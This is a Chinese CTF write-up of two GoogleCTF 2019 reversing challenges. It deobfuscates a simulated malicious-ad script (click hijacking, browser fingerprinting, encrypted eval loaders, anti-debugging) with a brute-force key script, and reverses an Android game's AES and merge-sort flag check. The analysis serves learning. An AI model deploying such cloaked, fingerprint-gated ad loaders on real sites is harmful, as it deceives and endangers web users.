GoogleCTF 2019

时隔两年又玩了一把googlectf,这次看了一整天都没看出一题来,事后决定点时间学习一波,这一学就学了一大堆的东西。,,总共花了3周才整理了5题的wp,这个比赛实在是过于硬核。。。

GoogleCTF 2019

Rev

Malvertising (140)

这个题目本意是模拟了恶意广告(那种覆盖页面,点击后会跳转的广告),然后顺着混淆的js脚本找到源头,所以和Reverse相关,但是全部都是发生在Web段。。。

Stage1

题目是一个urlhttps://malvertising.web.ctfcompetition.com

随便点击之后就会跳转到google.com上。对当前界面的代码进行审计,可以看到如下关键代码:

1
2
3
4
5
6
7
<script>
function click() {
window.top.location.href = "http://www.google.com";
}
document.addEventListener("click", click)
</script>
<script id="adjs" src="./src/metrics.js" type="text/javascript"></script>

这个地方尝试加载了一个js脚本,于是去资源中找到这个脚本,不过基本上是看不懂的。。。用Chrome自带的格式化工具处理之后,大致如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
// 省略前面一大段
}();
var w = d(this, function() {
var c = function() {
return '\x64\x65\x76';
}
, d = function() {
return '\x77\x69\x6e\x64\x6f\x77';
};
var e = function() {
var f = new RegExp('\x5c\x77\x2b\x20\x2a\x5c\x28\x5c\x29\x20\x2a\x7b\x5c\x77\x2b\x20\x2a\x5b\x27\x7c\x22\x5d\x2e\x2b\x5b\x27\x7c\x22\x5d\x3b\x3f\x20\x2a\x7d');
return !f['\x74\x65\x73\x74'](c['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
};
var g = function() {
var h = new RegExp('\x28\x5c\x5c\x5b\x78\x7c\x75\x5d\x28\x5c\x77\x29\x7b\x32\x2c\x34\x7d\x29\x2b');
return h['\x74\x65\x73\x74'](d['\x74\x6f\x53\x74\x72\x69\x6e\x67']());
};
var i = function(j) {
var k = ~-0x1 >> 0x1 + 0xff % 0x0;
if (j['\x69\x6e\x64\x65\x78\x4f\x66']('\x69' === k)) {
l(j);
}
};
var l = function(m) {
var n = ~-0x4 >> 0x1 + 0xff % 0x0;
if (m['\x69\x6e\x64\x65\x78\x4f\x66']((!![] + '')[0x3]) !== n) {
i(m);
}
};
if (!e()) {
if (!g()) {
i('\x69\x6e\x64\u0435\x78\x4f\x66');
} else {
i('\x69\x6e\x64\x65\x78\x4f\x66');
}
} else {
i('\x69\x6e\x64\u0435\x78\x4f\x66');
}
});
w();
var f = function() {
var g = !![];
return function(h, i) {
var j = g ? function() {
if (i) {
var k = i[b('0x0', 'Kb10')](h, arguments);
i = null;
return k;
}
}
: function() {}
;
g = ![];
return j;
}
;
}();
var l = f(this, function() {
var m = function() {};
var n;
try {
var o = Function(b('0x1', ')ID3') + b('0x2', '3hyK') + ');');
n = o();
} catch (p) {
n = window;
}
if (!n[b('0x3', '^aQK')]) {
n[b('0x4', 'bxQ9')] = function(m) {
var f = {};
f[b('0x5', 'bxQ9')] = m;
f[b('0x6', 'vH0t')] = m;
f[b('0x7', 'bxQ9')] = m;
f[b('0x8', 'jAUm')] = m;
f['error'] = m;
f[b('0x9', 'SF81')] = m;
f[b('0xa', '$KuR')] = m;
return f;
}(m);
} else {
n[b('0xb', 'IfD@')]['log'] = m;
n[b('0xc', '%RuL')][b('0xd', 'e9PJ')] = m;
n[b('0xe', '(fcQ')]['debug'] = m;
n['console'][b('0xf', 'xBPx')] = m;
n[b('0x10', 'yDXL')][b('0x11', 'IDtv')] = m;
n[b('0x12', 'oBBn')][b('0x13', '^aQK')] = m;
n[b('0x14', 'F#*Z')][b('0x15', 'vH0t')] = m;
}
});
l();
var s = b('0x16', '%RuL');
var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK'));
t[b('0x19', 'F#*Z')] = function() {
try {
var u = steg[b('0x1a', 'OfTH')](t);
} catch (v) {}
if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i[b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) {
s[s][s](u)();
}
}
;

大致分析逻辑后发现,函数b被反复的调用,并且动态调试后会发现,这个函数会对一些加密的内容进行解密,于是动态跟踪程序,在如下的位置下断点:

可以发现,这个地方解开了一段加载js的代码。然后在如下的位置:

1
2
3
if (Number(/\x61\x6e\x64\x72\x6f\x69\x64/i[b('0x1b', 'JQ&l')](navigator[b('0x1c', 'IfD@')]))) {
s[s][s](u)();
}

对加载的逻辑进行了判断。这个地方利用了js的各种特性,编码的部分扔到console里面可以得到如下结果:

1
2
'/\x61\x6e\x64\x72\x6f\x69\x64/i'
"/android/i"

直译过来就是

1
if (Number(/android/i["test"](navigator["userAgent"])))

正则后面跟着["test"],就是利用js的特性,其实本质上是调用了/android/i.test的正则匹配。这里的意思相当于说:读出当前浏览器的userAgent,并且检测其中是否包含Android字样。为了解决这个问题,可以利用Chrome的Toggle Device Bar模拟切换浏览设备,如下:

这样就会进入第二个js文件

Stage2

第二个js文件的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
var T = {};
T.e0 = function(a, b) {
var c, d, e;
return a = String(a),
b = String(b),
0 == a.length ? '' : (c = T.f0(a.u0()),
d = T.f0(b.u0().slice(0, 16)),
c.length,
c = T.e1(c, d),
e = T.longsToStr(c),
e.b0())
}
,
T.d0 = function(a, b) {
var c, d;
return a = String(a),
b = String(b),
0 == a.length ? '' : (c = T.f0(a.b1()),
d = T.f0(b.u0().slice(0, 16)),
c.length,
c = T.d1(c, d),
a = T.longsToStr(c),
a = a.replace(/\0+$/, ''),
a.u1())
}
,
T.e1 = function(a, b) {
var c, d, e, f, g, h, i, j, k;
for (a.length < 2 && (a[1] = 0),
c = a.length,
d = a[c - 1],
e = a[0],
f = 2654435769,
i = Math.floor(6 + 52 / c),
j = 0; i-- > 0; )
for (j += f,
h = 3 & j >>> 2,
k = 0; c > k; k++)
e = a[(k + 1) % c],
g = (d >>> 5 ^ e << 2) + (e >>> 3 ^ d << 4) ^ (j ^ e) + (b[3 & k ^ h] ^ d),
d = a[k] += g;
return a
}
,
T.d1 = function(a, b) {
for (var c, d, e, f = a.length, g = a[f - 1], h = a[0], i = 2654435769, j = Math.floor(6 + 52 / f), k = j * i; 0 != k; ) {
for (d = 3 & k >>> 2,
e = f - 1; e >= 0; e--)
g = a[e > 0 ? e - 1 : f - 1],
c = (g >>> 5 ^ h << 2) + (h >>> 3 ^ g << 4) ^ (k ^ h) + (b[3 & e ^ d] ^ g),
h = a[e] -= c;
k -= i
}
return a
}
,
T.f0 = function(a) {
var b, c = new Array(Math.ceil(a.length / 4));
for (b = 0; b < c.length; b++)
c[b] = a.charCodeAt(4 * b) + (a.charCodeAt(4 * b + 1) << 8) + (a.charCodeAt(4 * b + 2) << 16) + (a.charCodeAt(4 * b + 3) << 24);
return c
}
,
T.longsToStr = function(a) {
var b, c = new Array(a.length);
for (b = 0; b < a.length; b++)
c[b] = String.fromCharCode(255 & a[b], 255 & a[b] >>> 8, 255 & a[b] >>> 16, 255 & a[b] >>> 24);
return c.join('')
}
,
'undefined' == typeof String.prototype.u0 && (String.prototype.u0 = function() {
return unescape(encodeURIComponent(this))
}
),
'undefined' == typeof String.prototype.u1 && (String.prototype.u1 = function() {
try {
return decodeURIComponent(escape(this))
} catch (a) {
return this
}
}
),
'undefined' == typeof String.prototype.b0 && (String.prototype.b0 = function() {
if ('undefined' != typeof btoa)
return btoa(this);
if ('undefined' != typeof Buffer)
return new Buffer(this,'utf8').toString('base64');
throw new Error('err')
}
),
'undefined' == typeof String.prototype.b1 && (String.prototype.b1 = function() {
if ('undefined' != typeof atob)
return atob(this);
if ('undefined' != typeof Buffer)
return new Buffer(this,'base64').toString('utf8');
throw new Error('err')
}
),
'undefined' != typeof module && module.exports && (module.exports = T),
'function' == typeof define && define.amd && define([''], function() {
return T
});
function dJw() {
try {
return navigator.platform.toUpperCase().substr(0, 5) + //WIN32
Number(/android/i.test(navigator.userAgent)) + //1(sure, because we use this enter)
Number(/AdsBot/i.test(navigator.userAgent)) + //0,1
Number(/Google/i.test(navigator.userAgent)) + //0,1
Number(/geoedge/i.test(navigator.userAgent)) + //0,1
Number(/tmt/i.test(navigator.userAgent)) + //0,1
navigator.language.toUpperCase().substr(0, 2) + //many....(ZH,EN,FR,EN,DE,JP)
Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer)) + //0,1
Number(/geoedge/i.test(document.referrer)) + //0,1
Number(/tmt/i.test(document.referrer)) + //0,1(以上三者互斥)
performance.navigation.type + // (0,1,2,255)
performance.navigation.redirectCount + // 0,1
Number(navigator.cookieEnabled) + // true
Number(navigator.onLine) + // true
navigator.appCodeName.toUpperCase().substr(0, 7) + // MOZILLA
Number(navigator.maxTouchPoints > 0) + // 0,1
Number((undefined == window.chrome) ? true : (undefined == window.chrome.app)) + //0,1
navigator.plugins.length //0,1,2,3
} catch (e) {
return 'err'
}
}
;a = "A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng=="
// "WIN3210000ZH0000011MOZILLA100"
eval(T.d0(a, dJw()));

这个地方会检测一大堆的属性,并且检测我们当前的浏览器是否符合这些属性,然后用这个属性组合的密钥对一段密文进行解密。这个地方比较头疼,需要一个爆破逻辑。。。不过有几个地方可以限制一下爆破的范围:

  • 前文我们是通过修改成Android的操作系统,那么这个时候platform就是Linux
  • 测试发现,有几位数是不生效的

然而因为编码问题,以为是上述思维有错,最后写了一个完全爆破脚本。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
function main_func(){
s15 = ""
for(i = 0;i <3; i ++){
var platform = ["ANDRO", 'LINUX','WIN32']
s1 = platform[i]
for(j = 1; j < 2; j++){//Number(/android/i.test(navigator.userAgent))
s2 = s1 + j
for(k=0; k < 2; k++){//Number(/AdsBot/i.test(navigator.userAgent))
s3 = s2 + k
console.log("Now s15 is " + s15)
for(l = 0; l < 2; l++){//Number(/Google/i.test(navigator.userAgent))
s4 = s3 + l;
for(m = 0; m < 2; m++){//Number(/geoedge/i.test(navigator.userAgent))
s5 = s4 + m
for(n = 0; n < 2; n++){//Number(/tmt/i.test(navigator.userAgent))
s6 = s5 + n
for(o = 0; o < 6; o++){//navigator.language.toUpperCase().substr(0, 2)
var lan = ["ZH","EN","FR","EN","DE","JP"]
s7 = s6 + lan[o]
for(p = 0; p < 2; p++){//Number(/tpc.googlesyndication.com/i.test(document.referrer) || /doubleclick.net/i.test(document.referrer))
s8 = s7 + p
for(q = 0; q < 2; q++){//Number(/geoedge/i.test(document.referrer)){
s9 = s8 +q
for(r = 0; r < 2; r++){//Number(/tmt/i.test(document.referrer))
s10 = s9 + r
for(s = 0; s < 4; s++){//performance.navigation.type
var types=[0,1,2,255]
s11 = s10 + types[s]
for(t = 0; t < 2; t++){//performance.navigation.redirectCount
s12 = s11 + t
s12 = s12 + 0 + 0 + "MOZILLA"
for(u = 0; u < 2; u++){//Number(navigator.maxTouchPoints > 0)
s13 = s12 +u
for(v = 0; v < 2; v++){//Number((undefined == window.chrome) ? true : (undefined == window.chrome.app))
s14 = s13 + v
for(w = 0; w < 4; w++){//navigator.plugins.length
s15 = s14 + w
try {
// console.log(s15)
// if(s15 == "LINUX10000FR1000000MOZILLA000"){
console.log(T.d0(a, s15).toString("utf8"));
console.log("\nand now the answer is :\n")
// console.log(T.d0(a, "LINUX11000FR1000000MOZILLA000"))
console.log(eval(T.d0(a, s15)).toString())
// }
// console.log("success")
// return
} catch (error) {
console.log(error)
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}

但是最后还是爆不出答案…..结果知道比赛结束都没能做出来。之后仔细检查了逻辑,发现其实是比赛给的btoa实现有问题!这里的哥们也提到了这个问题。我重新用npm下载了一个数据包,然后再次爆破,终于能够找到可见字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
and now the answer is :
ReferenceError: document is not defined
at eval (eval at main_func (D:\Daily\Competition\Google\2019\Reverse\Youtube_files\burce.js:157:85), <anonymous>:1:11)
at main_func (D:\Daily\Competition\Google\2019\Reverse\Youtube_files\burce.js:157:85)
at Object.<anonymous> (D:\Daily\Competition\Google\2019\Reverse\Youtube_files\burce.js:188:1)
at Module._compile (internal/modules/cjs/loader.js:776:30)
at Object.Module._extensions..js (internal/modules/cjs/loader.js:787:10)
at Module.load (internal/modules/cjs/loader.js:653:32)
at tryModuleLoad (internal/modules/cjs/loader.js:593:12)
at Function.Module._load (internal/modules/cjs/loader.js:585:3)
at Function.Module.runMain (internal/modules/cjs/loader.js:829:12)
at startup (internal/bootstrap/node.js:283:19)
var dJs = document.createElement('script'); dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js'); document.head.appendChild(dJs);

于是赶紧去找到了这个文件

Stage3

这个文件里面也使用了和Stage1中类似的算法,并且这一次上了反调试,如果使用调试器的话,会陷入一个死循环中出不来,而直接运行脚本,又会有如下的错误(我看网上的wp似乎没遇到这个问题。。)

考虑到隐藏的内容可能包含了答案,于是简单逆向,找到了加密算法_0x5877,并且写了一个小jio本把里面所有调用的函数都捞了出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
_0x5877("0x0", "fYVo") !== "csEBi")
_0x5877("0x1", "cw[y")
_0x5877("0x2", "R2OT") !== _0x5877("0x3", "WlSm")
_0x5877("0x4", "adOx")
_0x5877("0x5", "R2OT"), "i")
_0x5877("0x6", "5&eh")
_0x5877("0x7", "aLUv")) || !n[_0x5877("0x8", "5&eh")](f + _0x5877("0x9", "F(E#")
_0x5877("0xa", "Q&C3") === _0x5877("0xb", "QwV5")
_0x5877("0xc", "E7P9") !== _0x5877("0xd", "E7O$")
_0x5877("0xe", "w(zO")
_0x5877("0xf", "iOa(")] || ifr[_0x5877("0x10", "dC5K")
_0x5877("0x11", "h#9[")
_0x5877("0x12", "dC5K") === _0x5877("0x13", "QwV5")
_0x5877("0x14", "p1IC") === _0x5877("0x15", "4Nbx")
_0x5877("0x16", ")m$x")]("script")
_0x5877("0x17", "jEx@"), _0x5877("0x18", "L]47")
_0x5877("0x19", "ZE[y")][_0x5877("0x1a", "6ql8")
_0x5877("0x1b", "KfX2")
_0x5877("0x1c", "tP$Y") === _0x5877("0x1d", "adOx")
_0x5877("0x1e", "%8cb") + _0x5877("0x1f", "tP$Y") + ");")
_0x5877("0x20", "Q&C3") !== _0x5877("0x21", "%!Aa")
_0x5877("0x22", "6ql8")
_0x5877("0x23", "Q&C3")

一个个试了一下。。最后找到了关键的解密逻辑:

1
2
_0x5877("0x18", "L]47")
"./src/WFmJWvYBQmZnedwpdQBU.js"

于是访问https://malvertising.web.ctfcompetition.com/ads/src/WFmJWvYBQmZnedwpdQBU.js,找到flag为

1
alert("CTF{I-LOVE-MALVERTISING-wkJsuw}")

Flappybird

许久不做Android,找一个题目来找一下手感。
这个题目是一个游戏题,内容如下:

操作起来及其难受。

然后拖到工具里面查看,内容包大致如下:

其中有部分内容我简单逆向了一下。里面很多的类和对象都被混淆成了abcd,简单逆向之后,大致的功能分为三类

  • 用于渲染游戏主体的部分
  • 用于加载游戏和控制游戏的类
  • 奇怪的Checker

检查加密

唯一的Checker没有被处理,并且可以在其中找到一个native方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class Checker {
private static final byte[] hash;
private static final byte[] IV;
private static final byte[] Data;
static {
Checker.hash = new byte[]{46, 50, 92, -111, -55, 20, 120, -77, 92, 46, 12, -74, 91, 120, 81, -58, -6, -104, -123, 90, 0x77, -61, -65, -45, -16, 8, 0x40, -68, -103, -84, -30, 107};
Checker.IV = new byte[]{-30, 1, 9, -29, -92, 104, -52, -82, 42, -116, 1, -58, 92, -56, -25, 62};
Checker.Data = new byte[]{-113, -47, -15, 105, -18, 14, -118, 0x7A, 103, 93, 120, 70, -36, -82, 109, 0x71, 36// 省略一些内容;
}
Checker() {
super();
}
private byte[] DecryptData(byte[] key, byte[] data) {
try {
IvParameterSpec v0 = new IvParameterSpec(Checker.IV);
SecretKeySpec v1 = new SecretKeySpec(key, "AES");
Cipher v4 = Cipher.getInstance("AES/CBC/PKCS5PADDING");
v4.init(2, ((Key)v1), ((AlgorithmParameterSpec)v0));
return v4.doFinal(data);
}
catch(Exception ) {
return null;
}
}
byte[] CheckAndDecrypt(byte[] key) {
if(this.nativeCheck(key)) {
try {
if(Arrays.equals(MessageDigest.getInstance("SHA-256").digest(key), Checker.hash)) {
return this.DecryptData(key, Checker.Data);
}
return null;
}
catch(Exception ) {
return null;
}
}
return null;
}
public native boolean nativeCheck(byte[] arg1) {
}
}

这个checker中调用的checkAndDecrypt方法最后会被一个如下的方法调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void ShowSecret() { // [import]check
byte[] message = new byte[0x20];
int i;
for(i = 0; i < this.egg_place.length; ++i) {
int j;
for(j = 0; j < g_map.egg_lists.length; ++j) {
if(this.egg_place[i] == g_map.egg_lists[j]) { // [import]check
message[i] = ((byte)j);
}
}
}
message = new Checker().CheckAndDecrypt(message);
if(message != null) {
try {
this.level = 0;
this.CallMessageToGenerateMap(message);
}
catch(IOException ) {
}
}
else {
this.g.a("Close, but no cigar.");
}
}

简单来说,就是解密后的数据会被传入CallMessageToGenerateMap,当成地图程序处理,然后会被渲染到当前的程序中。但是下载游戏后发现,并没有可以进行输入的地方(至少前两关是没有的)

寻找交互点

这就很奇怪了,一般来说rev不会没有交互就直接退出的(不然的话就不是reverse了)。不过有一个地方说明了程序是存在一个可以与用户交互的地方的:

1
2
3
4
5
6
7
8
9
10
11
12
byte[] message = new byte[0x20];
int i;
for(i = 0; i < this.egg_place.length; ++i) {
int j;
for(j = 0; j < g_map.egg_lists.length; ++j) {
if(this.egg_place[i] == g_map.egg_lists[j]) { // [import]check
message[i] = ((byte)j);
}
}
}
message = new Checker().CheckAndDecrypt(message);

这里可以发现,解密用的message是由程序自己生成的,也就是说程序还是给了一个可以交互的地方,让用户通过与程序交互,使得egg_placeegg_lists里面的数据能够相等。这里的egg_lists是一开始就确定了的:

1
2
3
4
static {
g_map.egg_lists = new Enum_Res[]{Enum_Res.Egg_0,....}; // 生成egg_list
}

所以,我们可以关注一下egg_place的发生赋值的位置。

1
2
3
4
5
6
7
8
9
// 首先是初始化的位置
CallMessageToGenerateMap()
{
// 这个位置的话是初始化了所有的egg
this.egg_places = new Enum_Res[this.egg_number];
while(egg_resource < this.egg_places.length) {
this.egg_places[egg_resource] = Enum_Res.Egg_0; // 如果有超过16个egg_holder,那么剩下的位置全部换成egg_0
++egg_resource;
}

可以看到,初始化的时候会根据egg_number的数量进行初始化。也就是说只有当前地图中存在egg_holder,才至少有一个egg会被初始化
然后还有一个赋值函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 然后是官方钦定的赋值函数
void GetEgg(int now_egg_index, int egg_type) {
this.egg_places[now_egg_index] = g_map.egg_lists[egg_type];
int v1 = -1;
int tmp_egg_type = 0;
int now_egg_type = -1;
while(tmp_egg_type < this.recently_egg_place.size()) {
if(this.recently_egg_place.get(tmp_egg_type).intValue() == now_egg_index) {
if(egg_type != 0) {
return;
}
else {
now_egg_type = tmp_egg_type; // 找到当前的egg_type
}
}
++tmp_egg_type;
}
if(now_egg_type != v1) {
this.recently_egg_place.remove(now_egg_type);
}
if(egg_type == 0) {
return;
}
this.recently_egg_place.add(Integer.valueOf(now_egg_index));
if(this.recently_egg_place.size() > 15) {
this.egg_places[this.recently_egg_place.remove(0).intValue()] = Enum_Res.Egg_0; // 去除当前的下标,设置为egg_0
}
}

赋值函数GetEgg中,会将当前存储了egg类型的egg_lists中对应的egg放到egg_places中,并且从存放了最近操作的egg类型的recently_egg_place中移除。其中的两个变量主要含义为:

  • egg_places_index记录了最近放了egg的egg_holder的下标
  • egg_places记录了每一个egg_holder中放入的egg的种类

整个函数的实际作用就是:虽然存在32个egg_places,但是只有最先操作的16个egg_places能够存放非Egg_0种类的egg。

理清上面两个点之后,就能够知道让当前的程序吐出解密后地图的逻辑为:

  • 进入带有egg_holder的关卡
  • 发生交互,让egg_places中存放的egg与egg_lists中相等
  • 发生解密

这里的egg_lists中存放的egg是在一开始被初始化的egg_0~egg_15

资源读取

讲到这里,就需要提一下游戏的sprite的初始化过程了。整个程序用了一个被我称为ResourceLoader的类进行初始化处理的。对于简单的游戏来说,一般需要一些图片将简单的元素放在一起,这些元素会在程序执行的之后被切割下来作为tile,对应在某些由游戏本身定义好的object上面。这个程序也有这样的tile,将当前的APK解包之后,在assets目录下会发现几张图片,例如:

仔细看会发现,这里面基本上每一个元素的大小距离都是等距的,这样就能够方便程序对每一个元素进行快速的切割。切割下来的tile一般会作为某一些操作元素的外壳,这个外壳就被称为Sprite
一般来说游戏的开发中,都会有一个将Sprite和游戏对象的physical object以及部分可以操作的controller进行绑定的过程,在这个程序中的逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
PhysicalControl MainControl = this;
g_map tile = arg18;
super();
MainControl.item_ = tile;
// 加载UI的图片,准备切分成sprite
AllMapResource UI_img = new AllMapResource(ResourceLoader.loadResource.loader("ui.png"));
int each_button_width = UI_img.GetSize() / 4;
int each_button_high = UI_img.GetLength() / 2;
Graph2Object[][] buttons = Graph2Object.SplitSprite(UI_img, each_button_width, each_button_high);
int v12 = ResourceLoader.b.b();
int v13 = ResourceLoader.b.c();
// 初始化基本按钮,将sprite和对应的功能相对应
MainControl.controller = new ArrayList();
MainControl.left_button = new PressPhysicalCheck(buttons[1][1], 16, 16, each_button_width);
MainControl.controller.add(MainControl.left_button);
int j = 0;
MainControl.right_button = new PressPhysicalCheck(buttons[1][0], each_button_width + 0x20, 16, each_button_width);
MainControl.controller.add(MainControl.right_button);
int v8 = v12 - 16 - each_button_width;
MainControl.jump_button = new PressPhysicalCheck(buttons[1][2], v8, 16, each_button_width);
MainControl.controller.add(MainControl.jump_button);
MainControl.press_button = new PressPhysicalCheck(buttons[1][3], v8, each_button_high + 0x20, each_button_width);
MainControl.controller.add(MainControl.press_button);
MainControl.another_controller = new ArrayList();
int i = 0;
// 初始化每一个egg的按钮
while(i < g_map.egg_lists.length) {
ArrayList special_control = new ArrayList();
((List)special_control).add(buttons[j][j]); // 0号button做透明按钮,让egg也可以被按下去
((List)special_control).add(tile.GetTileSprite(g_map.egg_lists[i]));
MainControl.another_controller.add(new PressPhysicalCheck(special_control, v12 / 2 - each_button_width * 2 + i % 4 * each_button_width, v13 / 2 - each_button_high * 2 + i / 4 * each_button_high, each_button_width, i));
++i;
j = 0;
}
MainControl.hasPress = false;
MainControl.now_egg = 0;
}

其中UI.png如下:

可以看到,这段逻辑将一个名为UI.png的图片进行了等距切割,并且将切割好的图片对应到一个二维的int数组中,将每一个按钮的Sprite用数组的方式进行了存储,从而实现对按钮初始化的过程。
根据这段逻辑,我们可以找到调用了tileset.png初始化的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
g_map(h arg3) {
super();
this.row = 190;
this.clo = 46;
this.g = arg3;
AllMapResource tileSetImg = new AllMapResource(ResourceLoader.loadResource.loader("tileset.png"));
this.width = tileSetImg.GetSize() / 16;
this.height = tileSetImg.GetLength() / 8;
this.AlltileSprite = Graph2Object.SplitSprite(tileSetImg, this.width, this.height);
this.egg_number = 0;
this.level = 1;
this.LevelChoose(this.level);
}

这边同样将这个图片进行了切割,并且进行了映射。在网上找到了一个解释的很好的图:网上的解释图
而显示地图则是通过如下的逻辑:

  • 读取Level.bin文件
  • 将文件解压缩
  • 将其中的数字(ascii)翻译成对应的Sprite

这段逻辑就是之前演示过的CallMessageToGenerateMap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
private void CallMessageToGenerateMap(byte[] message) {
InflaterInputStream inflareSrtream = new InflaterInputStream(new ByteArrayInputStream(message));
byte[] map = new byte[this.row * this.clo];
if(inflareSrtream.read(map) == this.row * this.clo) { // 地图的真实数据将会被解压出来
this.resourceArray = new Enum_Res[this.clo][];
this.egg_appear = new int[this.clo][];
this.egg_vector = new int[0x20][];
int egg_resource = 0;
int i;
for(i = 0; i < this.clo; ++i) {
this.resourceArray[i] = new Enum_Res[this.row]; // 每一列都存一个资源数组
this.egg_appear[i] = new int[this.row]; // 存放出现的egg
int j;
for(j = 0; j < this.row; ++j) {
this.egg_appear[i][j] = -1; // 一开始的时候所有的位置都没有egg
}
}
this.egg_number = 0;
for(i = 0; i < this.clo; ++i) {
for(j = 0; j < this.row; ++j) {
Enum_Res res = this.trans_num_to_resource(map[this.row * i + j]);
this.resourceArray[this.clo - i - 1][j] = res; // 也就是说,地图中需要有egg_holder才能够有egg
if(res == Enum_Res.egg_holder) {
this.egg_appear[this.clo - i - 1][j] = this.egg_number; // 如果没有一个egg_holder,此时就会有一个egg
this.egg_vector[this.egg_number] = new int[]{j, this.clo - i - 1}; // 每一个egg都有一个egg_vector记录坐标
++this.egg_number;
}
}
}
this.egg_places = new Enum_Res[this.egg_number];
while(egg_resource < this.egg_places.length) {
this.egg_places[egg_resource] = Enum_Res.Egg_0; // 如果有超过16个egg_holder,那么剩下的位置全部换成egg_0
++egg_resource;
}
this.recently_egg_place = new ArrayList();
return;
}
throw new IOException();
}

解题逻辑

到这儿其实解题的思路差不多就有了:通过正确的调用GetEgg,有选择的让egg_places与指定的egg_list相等,从而让下面这段逻辑能够通过:

1
2
3
4
5
6
7
8
9
10
11
12
13
void ShowSecret() { // [import]check
byte[] message = new byte[0x20];
int i;
for(i = 0; i < this.egg_place.length; ++i) {
int j;
for(j = 0; j < g_map.egg_lists.length; ++j) {
if(this.egg_place[i] == g_map.egg_lists[j]) { // [import]check
message[i] = ((byte)j);
}
}
}
message = new Checker().CheckAndDecrypt(message);

从而让秘密地图显示出来。

那么解开这个题的关键就在于这个nativeChecker中,找到这个nativeChecker的生成逻辑,我们就能够通过修改关卡或者直接生成flag图片的方式来获得题解。

反向归并排序
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if ( right > 0 )
{
t = 0;
right_index = 0;
left_index = 0;
while ( 1 )
{
num = right_ptr[right_index];
if ( buffer[left_index] >= num )
{
if ( buffer[left_index] <= num || g_array[g_index] )// left > right的时候g_array[index] == 0
{
LABEL_15:
c = 0;
goto LABEL_22;
}
++g_index;
dest[t] = right_ptr[right_index++];
}
else
{
if ( g_array[g_index] != 1 ) // left < right的时候g_array[index] == 1
goto LABEL_15;
++g_index;
dest[t] = buffer[left_index++];
}
++t;
v8 = n >> 1;
if ( left_index >= left || right_index >= right )
goto LABEL_17;
}
}
left_index = 0;
right_index = 0;

感觉算是一个小小的算法,问了一下大佬同学,可以按照归并排序的顺序运算,然后在原先进行right/left_index ++的场合,记录下此时元素与元素之间的大小关系。大佬的思想是有了,不过具体的实现好像蛮头疼的,怎么样才能记录这个大小关系呢?这里我想到的办法是用权重,将每一个元素初始状态假设为0,每次发生比较,较大的元素权重就要发生+1
这里大致定义一下整个归并排序的过程

  • 将数列拆封成两部分
  • 得到有序后的两部分数组
  • 用两个下标分别标识当前数组元素,并且对其进行比较,较小(根据排序需求)者放入目标数组,并且下标自增
  • 若其中一个数组被遍历完成,则将剩余的另一个元素数组依次拷贝到目标数组中
  • 目标数组即为排序完成的数组

我最初的想法是,在第三步的时候对当前元素的权重进行设置。但是单纯只在比较的场合记录权重,可能会有如下问题:

1
2
3
4
5
6
7
8
数列:4123
权重:0000
---------
数列:1423
权重:0101
---------
数列:1234
权重:0103

如果只是单纯的在每次比较的时候增加权重,此时有些元素的权重无法得到及时的更新,导致算法出错。考虑到归并排序后,每一个小数列必然是有序的,那么数列a[n]中,weight(a[n-1])<weight(a[n]),因此在每一次比较完成后,不应该只是更新当前的元素,而是从当前下标开始的所有当前数组中的元素

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
数列:1423
权重:0101
-->
比较的场合:
2 > 1,此时
target[0] = 1(weight=0)
weight(2) ++
weight(3) ++
2 < 4,此时
target[1] = 2(weight=1)
weight(4) ++
3 < 4,此时
target[2] = 3(weight=2)
weight(4) ++
----------
1234
0123

于是就可以得到解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
